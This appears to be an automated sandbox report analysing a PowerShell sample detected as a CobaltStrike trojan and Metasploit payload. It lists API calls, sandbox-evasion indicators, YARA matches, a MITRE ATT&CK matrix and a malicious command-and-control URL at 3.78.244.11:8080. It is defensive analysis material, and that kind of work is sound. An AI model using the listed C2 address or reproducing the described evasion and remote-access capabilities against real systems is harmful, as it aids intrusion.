Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B964FAD push ss; iretd	0_2_00007FFD9B9651F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B967F1D push ecx; iretd	0_2_00007FFD9B967F1E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B964218 push eax; ret	0_2_00007FFD9B964219
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B9679EA push esi; iretd	0_2_00007FFD9B9679EB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B96158C push edi; ret	0_2_00007FFD9B961598
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B9654D0 push ds; iretd	0_2_00007FFD9B9654D2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B967CAD push esp; iretd	0_2_00007FFD9B967CAE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0D01A8 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0000022EFA0D01A8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C5854		0_2_0000022EFA0C5854
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0BFA1C		0_2_0000022EFA0BFA1C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3583			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6247			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

API coverage: 2.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0BFA1C

0_2_0000022EFA0BFA1C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592

Thread sleep time: -11068046444225724s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C1C30 malloc,GetCurrentDirectoryA,FindFirstFileA,GetLastError,free,free,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_0000022EFA0C1C30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C9220 malloc,_snprintf,FindFirstFileA,free,malloc,_snprintf,free,FindNextFileA,FindClose,		0_2_0000022EFA0C9220

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000000.00000002.4121090412.0000022EF9CE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: powershell.exe, 00000000.00000002.4121724697.0000022EF9DBA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.4121724697.0000022EF9DB6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

API call chain: ExitProcess graph end node

graph_0-42236

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

0_2_0000022EFA0D9744

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

0_2_0000022EFA0D9744

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

0_2_0000022EFA0D9744

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0C76F0 InitializeProcThreadAttributeList,GetProcessHeap,HeapAlloc,InitializeProcThreadAttributeList,

0_2_0000022EFA0C76F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0E24E0 RtlVirtualUnwind,SetUnhandledExceptionFilter,

0_2_0000022EFA0E24E0

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0CDF50 LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_0000022EFA0CDF50

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0CDEC8 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_0000022EFA0CDEC8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0C0920 CreateNamedPipeA,

0_2_0000022EFA0C0920

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0DECB0 GetSystemTimeAsFileTime,

0_2_0000022EFA0DECB0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0E2068 GetUserNameA,

0_2_0000022EFA0E2068

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0C5E28 GetUserNameA,GetComputerNameA,GetModuleFileNameA,strrchr,GetVersionExA,GetProcAddress,GetModuleHandleA,GetProcAddress,_snprintf,

0_2_0000022EFA0C5E28

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR
Source: Yara match	File source: 0.2.powershell.exe.22ef9b10000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.22efa0b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected MetasploitPayload

Source: Yara match	File source: 3.ps1, type: SAMPLE
Source: Yara match	File source: amsi64_1900.amsi.csv, type: OTHER
Source: Yara match	File source: 00000000.00000002.4122124036.0000022EF9EB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4114351286.0000022EF1952000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4098790194.0000022EE28B3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C6670 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_0000022EFA0C6670
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0CEE8C socket,closesocket,htons,bind,listen,	0_2_0000022EFA0CEE8C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0E2630 bind,	0_2_0000022EFA0E2630
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C6A78 socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_0000022EFA0C6A78

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	2 Valid Accounts	2 Valid Accounts	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	21 Access Token Manipulation	2 Valid Accounts	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	21 Access Token Manipulation	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Process Injection	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	111 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	2 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	13 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3.ps1	74%	ReversingLabs	Script-PowerShell.Trojan.CobaltStrike
3.ps1	100%	Avira	TR/Coblat.G1

Source	Detection	Scanner	Label
http://3.78.244.11:8080/dot.gif11:8080/dot.gif	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gif~	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gifll	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gifU	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gifllV	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gifPDL	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gifG	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gifD	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gif	0%	Avira URL Cloud	safe
3.78.244.11	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gife	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gif9.0	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gifystem32	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gif2	0%	Avira URL Cloud	safe
http://3.78.244.11:8080/dot.gif1	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
3.78.244.11	true	Avira URL Cloud: safe	unknown
http://3.78.244.11:8080/dot.gif	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://3.78.244.11:8080/dot.gifG	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.4098790194.0000022EE2E6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.4098790194.0000022EE1B08000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gif~	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.4098790194.0000022EE1B08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.4098790194.0000022EE2508000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gif11:8080/dot.gif	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gifD	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gifllV	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3.78.244.11:8080/dot.gifPDL	powershell.exe, 00000000.00000002.4119501587.0000022EF99F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3.78.244.11:8080/dot.gifll	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.4098790194.0000022EE1B08000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gifU	powershell.exe, 00000000.00000002.4121724697.0000022EF9D85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gife	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3.78.244.11:8080/dot.gifystem32	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3.78.244.11:8080/dot.gif9.0	powershell.exe, 00000000.00000002.4119501587.0000022EF99F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.4098790194.0000022EE18E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:%u/	powershell.exe, 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.4098790194.0000022EE18E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gif1	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	powershell.exe, 00000000.00000002.4119501587.0000022EF9A2F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://3.78.244.11:8080/dot.gif2	powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
3.78.244.11	unknown	United States		16509	AMAZON-02US	true

General Information

